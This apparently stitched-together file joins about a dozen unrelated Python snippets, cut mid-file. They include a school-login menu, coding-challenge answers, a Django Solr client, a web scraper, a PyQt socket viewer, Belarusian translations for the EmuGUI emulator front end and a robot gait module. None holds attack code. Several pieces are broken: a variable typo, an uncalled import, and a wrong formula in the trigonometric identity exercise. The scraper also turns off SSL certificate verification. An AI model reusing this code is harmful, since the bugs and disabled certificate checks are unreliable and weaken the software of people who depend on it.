	elif choice==2:
		return view_result()
	elif chocie==3:
		return main()
	else:
		print("Invalid choice ")

def teacher_login():
	print(width)
	uname=input('Pls Enter Yr username: ')
	passw=input('Pls Enter Yr password: ')
	fh=open(path1,'r')
	for line in fh:
		login=line.split(',')
		if uname==login[0] and passw==login[1]:
			print("Login successfull")
			return teacher_menu()
		else:
			print("wrong username and password")

def main():
	print('-'*121)
	print('*****************************Flash & Zak School***********************************')
	print('-'*121)
	print('*'*50)
	print('1.Teacher Login')
	print('2.Student Login')
	print('*'*50)
	choice=int(input('Enter Yr choice::'))
	if choice==1:
		return teacher_login()
	elif choice==2:
		return student_menu()
	else:
		print('incorrect choice')
main()

def write_parser(file_name,rno,name,father_name,maths,english,hindi,science,percent):
	d = read_parser(file_name)
	fh = open(file_name,'a')
	fh.write(f'\n{rno},{name},{father_name},{maths},{english},{hindi},{science},{percent}')
	fh.close()
	return 'New data added'

write_parser(path,rno,name,father,maths,eng,hindi,science,percentage)


N = int(input())
A = list(map(int, input().split()))
ans = 10**100

for ai in A:
    s = 0
    t = ai
    while t % 2 == 0:
        t //= 2
        s += 1

    ans = min(ans, s)

print(ans)


#User function Template for python3

class Solution:
    def numOfPairs(self, X, Y, N):
        # code here
        ans = 0
        xMap = {}
        yMap  = {}
        xyMap  = {}
        for i in range(N):
            x = X[i]
            y = Y[i]
            xValue = xMap.get(x, 0)
            yValue = yMap.get(y, 0)
            comb = str(x) + "*" + str(y)
            xyValue =  xyMap.get(comb, 0)
            ans += (xValue + yValue - 2*xyValue)
            xMap[x] = xValue + 1
            yMap[y] = yValue + 1
            xyMap[comb] = xyValue + 1
        return ans

#{
 # Driver Code Starts
#Initial Template for Python 3

if __name__ == '__main__':
    t = int (input ())
    for _ in range (t):
        N=int(input())
        X=list(map(int,input().split()))
        Y=list(map(int,input().split()))

        ob = Solution()
        print(ob.numOfPairs(X,Y,N))
# } Driver Code Ends

GeeksforGeeks/Python3/Medium/Pairs of Non Coinciding Points/pairs-of-non-coinciding-points.py


import json
from django.conf import settings
from django.http import QueryDict
import requests

def get(id, params):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["id"] = id
    return requests.get(settings.SOLR_API_URL +
                 "collection1/get?" + _dict_to_querystring(params)).json()

def update(data, params = None):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["commit"] = "true"
    return requests.post(settings.SOLR_API_URL + "collection1/update?" + _dict_to_querystring(params),
                  data=json.dumps(data),
                  headers = {'content-type': 'application/json'}).json()

def delete(id, params = None):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["commit"] = "true"
    return requests.post(settings.SOLR_API_URL + "collection1/update?" + _dict_to_querystring(params),
                         data=json.dumps([{"delete":{"id":id}}]),
                         headers = {'content-type': 'application/json'}).json()

def query(q, params):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["q"] = q
    return requests.get(settings.SOLR_API_URL + "collection1/select?" + _dict_to_querystring(params)).json()

def extract(params, file):
    if params is None:
        params = dict()
    params["wt"] = "json"
    params["commit"] = "true"
    return requests.post(settings.SOLR_API_URL +
                                   "update/extract?" + _dict_to_querystring(params),
                                   files = {file.name : file}).json()

def deleteAll():
    requests.get(settings.SOLR_API_URL + "update?stream.body=%3Cdelete%3E%3Cquery%3E*:*%3C/query%3E%3C/delete%3E&commit=true")

def _dict_to_querystring(d):
    params = QueryDict("", mutable=True)
    if d is not None:
        for (k, v) in d.items():
            params.setlist(k, v if isinstance(v, list) else [v])
    return params.urlencode()


import urllib.request
from bs4 import BeautifulSoup

#ignore SSL certificate errors
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

#something = input("Press enter -")
html = urllib.request.urlopen("http://www.dr-chuck.com/page1.htm")
soup = BeautifulSoup(html, 'html.parser')

tags = soup('a')
for tag in tags:
    print(tag.get('href', None))


import sys
import socket
from PyQt5.Qt import *

HOST = '192.168.0.4'
PORT = 50007

SCREEN_WIDTH = 600
SCREEN_HEIGHT = 600

class MainWindow(QMainWindow):
    def __init__(self):
        super().__init__()

        self.setWindowTitle("SUSCH.VIEWER")

        self.centralWidget = QWidget()
        self.setCentralWidget(self.centralWidget)

        self.labelImage = QLabel(self)
        self.labelImage.setStyleSheet(
            "QLabel {background-color: write; border: 1px solid "
            "#0DFFD7; border-radius: 5px;}")
        self.labelImage.setAlignment(Qt.AlignCenter)

        layout = QVBoxLayout(self.centralWidget)
        layout.addWidget(self.labelImage)

        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print(self.s)
        self.s.bind((HOST, PORT))
        print(self.s)
        self.s.listen(1)
        print(self.s)
        self.conn = None
        self.addr = None

        self.timer = QTimer(self)
        self.timer.timeout.connect(self.check_signal)
        self.timer.start(500)

    def openImage(self, image):
        pixmapImage = QPixmap(image)
        pixmapImage = pixmapImage.scaled(
            SCREEN_WIDTH, SCREEN_HEIGHT,
            Qt.KeepAspectRatio,
            Qt.SmoothTransformation
        )
        self.labelImage.setPixmap(pixmapImage)

    def change_image(self):
        global i
        i = (i + 1) % 5
        self.image = f"./images/{i}.jpg"
        self.openImage(self.image)

    def check_signal(self):
        if not self.conn:
            print('waiting for incoming connection...')
            self.conn, self.addr = self.s.accept()
            print('connection connected!: ', self.conn, ' ', self.addr)

        print(f'Connected by:\n{self.conn}\n{self.addr}\n-----------')
        data: bytes = self.conn.recv(1024)
        if data == b'next_picture':
            print('Received: -> next picture')
            self.change_image()

if __name__ == '__main__':
    global i
    i = 0
    app = QApplication(sys.argv)
    window = MainWindow()
    window.resize(SCREEN_WIDTH, SCREEN_HEIGHT)
    window.show()
    sys.exit(app.exec_())


#Identidade trigonométrica

#Faça um programa codifique as dois lados da equação abaixo,
#calculando-os separadamente e apresente ambos os resultados de
#modo a permitir que o usuário comprove que esta identidade
#trigonométrica é verdadeira para quaisquer dois ângulos 𝛼 e 𝛽:

import math

alpha = int(input("Insira o ângulo alpha: "))
beta = int(input("Insira o ângulo beta: "))

a = math.cos(alpha) + math.cos(beta)
b = 2 * math.cos(1 / 2) * (alpha + beta) * math.cos(1 / 2) * (alpha - beta)

print("O lado esquerdo da equação deu: %f. E o lado direto da equação deu: %f." %(a,b))


from translations.systemdefaultset import *

def translateMainBE(window):
    # Tab group 1
    window.tabWidget.setTabText(0, "Галоўная") # Main
    window.tabWidget.setTabText(1, "Налады") # Settings

    # Main tab
    window.pushButton_8.setText("Стварыць віртуальную машыну") # New virtual machine
    window.pushButton_9.setText("Запусціць віртуальную машыну") # Start virtual machine
    window.pushButton_10.setText("Рэдагаваць абраную віртуальную машыну") # Edit selected virtual machine
    window.pushButton_11.setText("Выдаліць абраную віртуальную машыну") # Delete selected virtual machine

    # Settings tabs
    window.tabWidget_2.setTabText(0, "Агульныя") # General
    window.tabWidget_2.setTabText(2, "Аб EmuGUI") # About EmuGUI

    # General tab
    window.label_15.setText("Мова") # Language
    window.pushButton_15.setText("Ужыць") # Apply

    # Combo box for languages
    i = 0

    while i < window.comboBox_4.count():
        sysDefSet("Па змаўчанні сістэмы", window.comboBox_4, i) # System default

        i += 1

    # Combo box for themes
    i = 0

    while i < window.comboBox_5.count():
        sysDefSet("Па змаўчанні сістэмы", window.comboBox_5, i) # System default

        i += 1

    # QEMU tab
    window.label.setText("Шлях да qemu-img") # qemu-img Path
    window.label_2.setText("Шлях да qemu-system-i386") # qemu-system-i386 Path
    window.label_3.setText("Шлях да qemu-system-x86_64") # qemu-system-x86_64 Path
    window.label_4.setText("Шлях да qemu-system-ppc") # qemu-system-ppc Path
    window.label_5.setText("Шлях да qemu-system-mips64el") # qemu-system-mips64el Path
    window.label_9.setText("Шлях да qemu-system-aarch64") # qemu-system-aarch64 Path
    window.label_11.setText("Шлях да qemu-system-arm") # qemu-system-arm Path
    window.label_16.setText("Шлях да qemu-system-ppc64") # qemu-system-ppc64 Path
    window.label_17.setText("Шлях да qemu-system-mipsel") # qemu-system-mipsel Path
    window.label_18.setText("Шлях да qemu-system-mips") # qemu-system-mips Path
    window.label_19.setText("Шлях да qemu-system-mips64") # qemu-system-mips64 Path
    window.label_12.setText("Шлях да qemu-system-sparc") # qemu-system-sparc Path
    window.label_13.setText("Шлях да qemu-system-sparc64") # qemu-system-sparc64 Path

    window.pushButton.setText("Агляд") # Browse
    window.pushButton_2.setText("Агляд") # Browse
    window.pushButton_3.setText("Агляд") # Browse
    window.pushButton_4.setText("Агляд") # Browse
    window.pushButton_5.setText("Агляд") # Browse
    window.pushButton_7.setText("Агляд") # Browse
    window.pushButton_12.setText("Агляд") # Browse
    window.pushButton_16.setText("Агляд") # Browse
    window.pushButton_17.setText("Агляд") # Browse
    window.pushButton_18.setText("Агляд") # Browse
    window.pushButton_19.setText("Агляд") # Browse
    window.pushButton_13.setText("Агляд") # Browse
    window.pushButton_14.setText("Агляд") # Browse
    window.pushButton_6.setText("Ужыць") # Apply

    # About tab
    # label_7 = Built on Python and PyQt technology, licensed under GNU General Public License 3.0
    window.label_7.setText("Сабрана на Python і тэхналогіі PyQt, ліцэнзавана пад GNU General Public License 3.0")

    window.label_10.setText(
        """
        ПАПЯРЭДЖАННЕ: Гэтая праграма пастаўляецца з АБСАЛЮТНА НІЯКІМІ ГАРАНТЫЯМІ ў адпаведнасці з дзеючым заканадаўствам.
        Падрабязнасці гл. у ліцэнзіі GNU GPL.
        """
        ) # WARNING: This program comes with ABSOLUTELY NO WARRANTY under applicable law. Please see the GNU GPL license for details.

    window.label_14.setText("Банер зроблены Tech-FZ.") # Banner made by (insert author of current banner here).

    window.label_21.setText("EmuGUI у сацыяльных сетках (на англійскай мове)") # EmuGUI on social media (in English)

def translateNewVmBE(window):
    # First page
    window.label.setText("Назва") # Name
    window.label_3.setText("Архітэктура") # Architecture
    window.comboBox.setPlaceholderText("Калі ласка, абярыце архітэктуру") # Please choose an architecture

    window.pushButton_3.setText("Далей >") # Next >
    window.pushButton_2.setText("Адмена") # Cancel

    # Second page (i386/x64 machines)
    window.label_4.setText("Машына") # Machine
    window.label_5.setText("Працэсар") # CPU
    window.label_6.setText("АЗП у MB") # RAM in MB

    window.comboBox_2.setPlaceholderText("Калі ласка абярыце машыну") # Please select a machine
    window.comboBox_3.setPlaceholderText("Калі ласка абярыце працэсар") # Please select a processor

    window.pushButton_5.setText("< Назад") # < Previous
    window.pushButton_4.setText("Далей >") # Next >
    window.pushButton_6.setText("Адмена") # Cancel

    # Combo boxes on i386/x64 page
    i = 0

    while i < window.comboBox_2.count():
        if window.comboBox_2.itemText(i) == "Let QEMU decide" or window.comboBox_2.itemText(i) == "QEMU überlassen":
            window.comboBox_2.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_3.count():
        if window.comboBox_3.itemText(i) == "Let QEMU decide" or window.comboBox_3.itemText(i) == "QEMU überlassen":
            window.comboBox_3.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Second page (PowerPC machines)
    window.label_9.setText("Машына") # Machine
    window.label_8.setText("Працэсар") # CPU
    window.label_7.setText("АЗП у MB") # RAM in MB

    window.comboBox_4.setPlaceholderText("Калі ласка абярыце машыну") # Please select a machine
    window.comboBox_5.setPlaceholderText("Калі ласка абярыце працэсар") # Please select a processor

    window.pushButton_7.setText("< Назад") # < Previous
    window.pushButton_8.setText("Далей >") # Next >
    window.pushButton_9.setText("Адмена") # Cancel

    # Combo boxes on PPC page
    i = 0

    while i < window.comboBox_4.count():
        if window.comboBox_4.itemText(i) == "Let QEMU decide" or window.comboBox_4.itemText(i) == "QEMU überlassen":
            window.comboBox_4.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_5.count():
        if window.comboBox_5.itemText(i) == "Let QEMU decide" or window.comboBox_5.itemText(i) == "QEMU überlassen":
            window.comboBox_5.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Second page (MIPSel machines)
    window.label_12.setText("Машына") # Machine
    window.label_11.setText("Працэсар") # CPU
    window.label_10.setText("АЗП у MB") # RAM in MB

    window.comboBox_6.setPlaceholderText("Калі ласка абярыце машыну") # Please select a machine
    window.comboBox_7.setPlaceholderText("Калі ласка абярыце працэсар") # Please select a processor

    window.pushButton_10.setText("< Назад") # < Previous
    window.pushButton_11.setText("Далей >") # Next >
    window.pushButton_12.setText("Адмена") # Cancel

    # Combo boxes on MIPSel page
    i = 0

    while i < window.comboBox_6.count():
        if window.comboBox_6.itemText(i) == "Let QEMU decide" or window.comboBox_6.itemText(i) == "QEMU überlassen":
            window.comboBox_6.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_7.count():
        if window.comboBox_7.itemText(i) == "Let QEMU decide" or window.comboBox_7.itemText(i) == "QEMU überlassen":
            window.comboBox_7.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Second page (ARM machines)
    window.label_31.setText("Машына") # Machine
    window.label_30.setText("Працэсар") # CPU
    window.label_29.setText("АЗП у MB") # RAM in MB

    window.comboBox_14.setPlaceholderText("Калі ласка абярыце машыну") # Please select a machine
    window.comboBox_15.setPlaceholderText("Калі ласка абярыце працэсар") # Please select a processor

    window.pushButton_33.setText("< Назад") # < Previous
    window.pushButton_34.setText("Далей >") # Next >
    window.pushButton_35.setText("Адмена") # Cancel

    # Combo boxes on ARM page
    i = 0

    while i < window.comboBox_14.count():
        if window.comboBox_14.itemText(i) == "Let QEMU decide" or window.comboBox_14.itemText(i) == "QEMU überlassen":
            window.comboBox_14.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_15.count():
        if window.comboBox_15.itemText(i) == "Let QEMU decide" or window.comboBox_15.itemText(i) == "QEMU überlassen":
            window.comboBox_15.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Second page (SPARC32 machines)
    window.label_22.setText("Машына") # Machine
    window.label_35.setText("АЗП у MB") # RAM in MB

    window.comboBox_20.setPlaceholderText("Калі ласка абярыце машыну") # Please select a machine

    window.pushButton_37.setText("< Назад") # < Previous
    window.pushButton_38.setText("Далей >") # Next >
    window.pushButton_39.setText("Адмена") # Cancel

    # Combo boxes on SPARC32 page
    i = 0

    while i < window.comboBox_20.count():
        if window.comboBox_20.itemText(i) == "Let QEMU decide" or window.comboBox_20.itemText(i) == "QEMU überlassen":
            window.comboBox_20.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Second page (SPARC64 machines)
    window.label_37.setText("Машына") # Machine
    window.label_36.setText("АЗП у MB") # RAM in MB

    window.comboBox_21.setPlaceholderText("Калі ласка абярыце машыну") # Please select a machine

    window.pushButton_41.setText("< Назад") # < Previous
    window.pushButton_40.setText("Далей >") # Next >
    window.pushButton_42.setText("Адмена") # Cancel

    # Combo boxes on SPARC64 page
    i = 0

    while i < window.comboBox_21.count():
        if window.comboBox_21.itemText(i) == "Let QEMU decide" or window.comboBox_21.itemText(i) == "QEMU überlassen":
            window.comboBox_21.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Third page
    window.label_20.setText("Выкарыстанне VHD") # VHD usage

    # Combobox for VHD usage
    i = 0

    while i < window.comboBox_18.count():
        if window.comboBox_18.itemText(i) == "Create a new virtual hard drive":
            window.comboBox_18.setItemText(i, "Стварыць новы віртуальны жорсткі дыск") # Create a new virtual hard drive
            break

        i += 1

    i = 0

    while i < window.comboBox_18.count():
        if window.comboBox_18.itemText(i) == "Add an existing virtual hard drive":
            window.comboBox_18.setItemText(i, "Дадаць існуючы віртуальны жорсткі дыск") # Add an existing virtual hard drive
            break

        i += 1

    i = 0

    while i < window.comboBox_18.count():
        if window.comboBox_18.itemText(i) == "Don't add a virtual hard drive":
            window.comboBox_18.setItemText(i, "Не дадаваць віртуальны жорсткі дыск") # Don't add a virtual hard drive
            break

        i += 1

    window.label_13.setText("Шлях да VHD") # VHD path
    window.label_14.setText("Фармат файла VHD") # VHD file format
    window.label_15.setText("Максімальны памер") # Maximum size

    window.comboBox_8.setPlaceholderText("(Калі ласка, абярыце фармат файла)") # (Please select a file format)

    window.pushButton_13.setText("Агляд") # Browse
    window.pushButton_16.setText("< Назад") # < Previous
    window.pushButton_14.setText("Далей >") # Next >
    window.pushButton_15.setText("Адмена") # Cancel

    # Fourth page
    window.label_16.setText("VGA") # VGA
    window.label_17.setText("Сетка") # Network
    window.label_28.setText("Мыш") # Mouse

    window.comboBox_10.setPlaceholderText("(Калі ласка абярыце графічны адаптар)") # (Please select a graphics adapter)
    window.comboBox_11.setPlaceholderText("(Калі ласка абярыце сеткавы адаптар)") # (Please select a network adapter)

    window.pushButton_18.setText("< Назад") # < Previous
    window.pushButton_17.setText("Далей >") # Next >
    window.pushButton_19.setText("Адмена") # Cancel

    # Fifth page
    window.label_19.setText(
        "Размяшчэнне знешняга\nфайла BIOS (Пакіньце\nпустым, каб выкарыстоўваць\nBIOS па змаўчанні)"
        ) # Location of external\nBIOS file (Leave\nempty to use the\ndefault BIOS)

    window.label_32.setText("Вонкавы файл BIOS") # External BIOS file

    window.pushButton_36.setText("Агляд") # Browse
    window.pushButton_25.setText("< Назад") # < Previous
    window.pushButton_24.setText("Далей >") # Next >
    window.pushButton_23.setText("Адмена") # Cancel

    # Sixth page
    window.label_23.setText("Гукавая карта") # Sound card
    window.label_33.setText("Ядра працэсара")# CPU cores
    window.label_34.setText("Клавіятура") # Keyboard
    window.label_21.setText("Раскладка клавіятуры") # Keyboard layout

    window.pushButton_28.setText("< Назад") # < Previous
    window.pushButton_27.setText("Далей >") # Next >
    window.pushButton_26.setText("Адмена") # Cancel

    # Seventh page
    window.label_24.setText("Ядро Linux") # Linux kernel
    window.label_25.setText("Выява initrd Linux") # Linux initrd image
    window.label_26.setText("Аргументы Linux cmd") # Linux cmd args

    window.pushButton.setText("Агляд") # Browse
    window.pushButton_32.setText("Агляд") # Browse
    window.pushButton_31.setText("< Назад") # < Previous
    window.pushButton_30.setText("Далей >") # Next >
    window.pushButton_29.setText("Адмена") # Cancel

    # Eighth page
    window.label_71.setText("Acceleration") # Acceleration

    window.pushButton_81.setText("< Назад") # < Previous
    window.pushButton_77.setText("Далей >") # Next >
    window.pushButton_80.setText("Адмена") # Cancel

    # Ninth page
    window.label_2.setText("Дадатковыя аргументы (пры неабходнасці)") # Additional arguments (if needed)

    window.checkBox_2.setText("I want to install Windows 2000\n(depreciated)") # I want to install Windows 2000\n(depreciated)
    window.checkBox_3.setText("Дадаць падтрымку USB") # Add USB support

    window.pushButton_22.setText("< Назад") # < Previous
    window.pushButton_20.setText("Finish") # Finish
    window.pushButton_21.setText("Адмена") # Cancel

def translateStartVmBE(window):
    window.label_4.setText("Дата і Час") # Date & Time
    window.label_3.setText("Загрузка з") # Boot from
    window.label_6.setText("TPM path (Linux only)") # TPM path (Linux only)
    window.label_7.setText("Create the TPM from the terminal!") # Create the TPM from the terminal!

    window.label_5.setText("""
    Заўвага: Калі ВМ не запускаецца на працягу пяці хвілін, то неабходна праверыць наладкі ВМ і QEMU.
    """) # Note: If the VM doesn't start within five minutes, then you should check the VM and QEMU settings.

    window.pushButton.setText("Агляд") # Browse
    window.pushButton_2.setText("Агляд") # Browse
    window.pushButton_5.setText("Усталяваць у сістэму") # Set to system
    window.pushButton_3.setText("Запусціць віртуальную машыну") # Start VM
    window.pushButton_4.setText("Адмена") # Cancel

    # Combo box for boot
    i = 0

    while i < window.comboBox.count():
        if window.comboBox.itemText(i) == "Let QEMU decide" or window.comboBox.itemText(i) == "QEMU überlassen":
            window.comboBox.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

def translateVmExistsBE(window):
    window.label.setText(
        "Выбачыце, але віртуальная машына з такім імем ужо існуе."
        ) # Sorry, but a VM with this name already exists.

    window.label_2.setText(
        "Калі ласка, падумайце аб тым, каб або выдаліць гэты VM, або прыдумаць новую назву."
        ) # Please consider either deleting that VM or thinking of a new name.

    window.pushButton.setText("OK") # OK

def translateVhdExistsBE(window):
    # The dialog which used to use this translation function is no longer in use.
    window.label.setText(
        "Выбачыце, але дыск, які вы жадаеце стварыць, ужо існуе."
        ) # Sorry, but the disk you want to create is already existant.

    window.label_2.setText("Вы хочаце захаваць ці перазапісаць яго?") # Do you want to keep or overwrite it?

    window.pushButton.setText("Перазапісаць") # Overwrite
    window.pushButton_2.setText("Захаваць") # Keep

def translateSettingsPendingBE(window):
    # The dialog which used to use this translation function is no longer in use.
    window.label.setText("Вы не наладзілі шляхі QEMU.")
    window.label_2.setText("Калі ласка, перайдзіце ў наладкі, каб зрабіць гэта, і паспрабуйце яшчэ раз.")

    window.pushButton.setText("OK") # OK

def translateVmTooNewBE(window):
    window.label.setText(
        "Гэта віртуальная машына зроблена з версіяй EmuGUI, якая з'яўляецца занадта новай. Калі ласка, выкарыстоўвайце пазнейшую версію!"
        ) # This VM is made with a version of EmuGUI that is too new. Please use a later version!

    window.pushButton.setText("OK") # OK

def translateQemuSysMissingBE(window, arch):
    window.label.setText(
        f"Выбачыце, але EmuGUI пакуль не наладжаны на выкарыстанне \"qemu-system-{arch}\".\nАднак гэты кампанент неабходзен для запуску дадзенай віртуальнай машыны.\nКалі ласка, перайдзіце ў Настройкі/QEMU, каб вырашыць гэтую праблему."
        ) # Sorry but EmuGUI is not configured for using \"qemu-system-{arch}\" yet.\nThis component however is necessary to start this virtual machine.\nPlease go to Settings/QEMU to solve this issue.

    window.pushButton.setText("OK") # OK

def translateQemuImgMissingBE(window):
    window.label.setText(
        "Выбачыце, але EmuGUI пакуль не наладжаны на выкарыстанне \"qemu-img\".\nАднак гэты кампанент неабходны для стварэння ці рэдагаванні віртуальных машын.\nКалі ласка, перайдзіце ў Настройкі/QEMU, каб вырашыць гэтую праблему."
        ) # Sorry but EmuGUI is not configured for using \"qemu-img\" yet.\nThis component however is necessary to create or edit virtual machines.\nPlease go to Settings/QEMU to solve this issue.

    window.pushButton.setText("OK") # OK

def translateEditVMBE(window):
    # Buttons on all tabs
    window.pushButton.setText("Адмена") # Cancel
    window.pushButton_2.setText("OK") # OK

    # Tab names
    window.tabWidget.setTabText(0, "Агульныя") # General
    window.tabWidget.setTabText(1, "Машына") # Machine
    window.tabWidget.setTabText(2, "Віртуальныя жорсткія дыскі") # Virtual hard disks
    window.tabWidget.setTabText(3, "Перыферыйныя прылады") # Peripherals
    window.tabWidget.setTabText(4, "BIOS") # BIOS
    window.tabWidget.setTabText(6, "Дадатковыя кампаненты") # Additional components

    # Translations for General tab
    window.label.setText("Назва") # Name
    window.label_2.setText("Архітэктура") # Architecture

    # Translations for Machine tab

    # i386 and x64
    window.label_17.setText("Працэсар") # CPU
    window.label_18.setText("Машына") # Machine
    window.label_19.setText("АЗП у MB") # RAM in MB

    i = 0

    while i < window.comboBox_11.count():
        if window.comboBox_11.itemText(i) == "Let QEMU decide" or window.comboBox_11.itemText(i) == "QEMU überlassen":
            window.comboBox_11.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_12.count():
        if window.comboBox_12.itemText(i) == "Let QEMU decide" or window.comboBox_12.itemText(i) == "QEMU überlassen":
            window.comboBox_12.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # PowerPC
    window.label_20.setText("Працэсар") # CPU
    window.label_22.setText("Машына") # Machine
    window.label_21.setText("АЗП у MB") # RAM in MB

    i = 0

    while i < window.comboBox_13.count():
        if window.comboBox_13.itemText(i) == "Let QEMU decide" or window.comboBox_13.itemText(i) == "QEMU überlassen":
            window.comboBox_13.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_14.count():
        if window.comboBox_14.itemText(i) == "Let QEMU decide" or window.comboBox_14.itemText(i) == "QEMU überlassen":
            window.comboBox_14.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # MIPS
    window.label_23.setText("Працэсар") # CPU
    window.label_25.setText("Машына") # Machine
    window.label_24.setText("АЗП у MB") # RAM in MB

    i = 0

    while i < window.comboBox_15.count():
        if window.comboBox_15.itemText(i) == "Let QEMU decide" or window.comboBox_15.itemText(i) == "QEMU überlassen":
            window.comboBox_15.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_16.count():
        if window.comboBox_16.itemText(i) == "Let QEMU decide" or window.comboBox_16.itemText(i) == "QEMU überlassen":
            window.comboBox_16.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # ARM
    window.label_26.setText("Працэсар") # CPU
    window.label_28.setText("Машына") # Machine
    window.label_27.setText("АЗП у MB") # RAM in MB

    i = 0

    while i < window.comboBox_17.count():
        if window.comboBox_17.itemText(i) == "Let QEMU decide" or window.comboBox_17.itemText(i) == "QEMU überlassen":
            window.comboBox_17.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    i = 0

    while i < window.comboBox_18.count():
        if window.comboBox_18.itemText(i) == "Let QEMU decide" or window.comboBox_18.itemText(i) == "QEMU überlassen":
            window.comboBox_18.setItemText(i, "Няхай QEMU вырашае") # Let QEMU decide
            break

        i += 1

    # Translations for VHD tab
    window.label_3.setText("Выкарыстанне VHD") # VHD usage
    window.label_4.setText("Шлях да VHD") # VHD path
    window.label_5.setText("Фармат файла VHD") # VHD file format
    window.label_6.setText("Максімальны памер") # Maximum size
    window.pushButton_3.setText("Агляд") # Browse

    # Combobox for VHD usage
    i = 0

    while i < window.comboBox_2.count():
        if window.comboBox_2.itemText(i) == "Create a new virtual hard drive":
            window.comboBox_2.setItemText(i, "Стварыць новы віртуальны жорсткі дыск") # Create a new virtual hard drive
            break

        i += 1

    i = 0

    while i < window.comboBox_2.count():
        if window.comboBox_2.itemText(i) == "Add an existing virtual hard drive":
            window.comboBox_2.setItemText(i, "Дадаць існуючы віртуальны жорсткі дыск") # Add an existing virtual hard drive
            break

        i += 1

    i = 0

    while i < window.comboBox_2.count():
        if window.comboBox_2.itemText(i) == "Don't add a virtual hard drive":
            window.comboBox_2.setItemText(i, "Не дадаваць віртуальны жорсткі дыск") # Don't add a virtual hard drive
            break

        i += 1

    # Translations for Peripherals tab
    window.label_7.setText("Тып мышы") # Mouse type
    window.label_8.setText("Тып клавіятуры") # Keyboard type

    # Translations for BIOS tab
    # Location of external BIOS file (Leave empty to use the default BIOS)
    window.label_11.setText("Размяшчэнне знешняга файла BIOS (Пакіньце пустым, каб выкарыстоўваць BIOS па змаўчанні)")
    window.label_12.setText("Вонкавы файл BIOS") # External BIOS file
    window.pushButton_4.setText("Агляд") # Browse

    # Translations for Linux tab
    window.label_13.setText("Ядро Linux") # Linux kernel
    window.label_14.setText("Выява initrd Linux") # Linux initrd image
    window.label_15.setText("Linux cmd arguments") # Linux cmd arguments
    window.pushButton_5.setText("Агляд") # Browse
    window.pushButton_6.setText("Агляд") # Browse

    # Translations for Additional components tab
    window.label_9.setText("VGA") # VGA
    window.label_10.setText("Network adapter") # Network adapter
    window.label_16.setText("Гукавая карта") # Sound card
    window.label_29.setText("Дадатковыя аргументы (пры неабходнасці)") # Additional arguments (if necessary)
    window.label_30.setText("Ядра працэсара") # CPU cores
    window.checkBox.setText("Дадаць падтрымку USB") # Add USB support
    window.label_36.setText("Acceleration") # Acceleration


import sqlite3
from config_repository.slack_config import SlackConfig
from config_repository.mail_config import MailConfig
from .site import Site

class Awsfeed(Site):
	def __init__(self):
		Site.__init__(self)
		self.url = "http://feeds.feedburner.com/amazon/ISxM";
		self.slack = SlackConfig({
			"color": "36a64f",
	        "thumb_url": "https://upload.wikimedia.org/wikipedia/commons/thumb/9/93/Amazon_Web_Services_Logo.svg/512px-Amazon_Web_Services_Logo.svg.png",
	        "footer_text": "AWS News Feed",
	        "fotter_icon": "https://platform.slack-edge.com/img/default_application_icon.png",
	        "username": "AWS",
	        "channel": "general"
		})
		self.email = MailConfig({
			"to": "your@gmail.com",
			"subject": "New AWS Article"
		});


"""A dummy gait generator module for storing gait patterns from higher-level controller."""

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import copy
from typing import Any, Sequence

import gin

from pybullet_envs.minitaur.agents.baseline_controller import gait_generator

LAIKAGO_STANDING = (
    gait_generator.LegState.STANCE,
    gait_generator.LegState.STANCE,
    gait_generator.LegState.STANCE,
    gait_generator.LegState.STANCE,
)

@gin.configurable
class DummyGaitGenerator(gait_generator.GaitGenerator):
  """A module for storing quadruped gait patterns from high-level controller.

  This module stores the state for each leg of a quadruped robot. The data is
  used by the stance leg controller to determine the appropriate contact forces.
  A high-level controller, such as a neural network policy, can be used to
  control the gait pattern and set corresponding leg states.
  """

  def __init__(
      self,
      robot: Any,
      initial_leg_state: Sequence[gait_generator.LegState] = LAIKAGO_STANDING,
  ):
    """Initializes the class.

    Args:
      robot: A quadruped robot.
      initial_leg_state: The desired initial swing/stance state of legs indexed
        by their id.
    """
    self._robot = robot
    if len(initial_leg_state) != len(
        list(self._robot.urdf_loader.get_end_effector_id_dict().values())):
      raise ValueError(
          "The number of leg states should be the same of number of legs.")
    self._initial_leg_state = initial_leg_state
    self._leg_state = list(initial_leg_state)
    self._desired_leg_state = list(initial_leg_state)

    self.reset(0)

  def reset(self, current_time):
    del current_time
    self._leg_state = list(self._initial_leg_state)
    self._desired_leg_state = list(self._initial_leg_state)

  @property
  def desired_leg_state(self) -> Sequence[gait_generator.LegState]:
    """The desired leg SWING/STANCE states.

    Returns:
      The SWING/STANCE states for all legs.

    """
    return self._desired_leg_state

  @desired_leg_state.setter
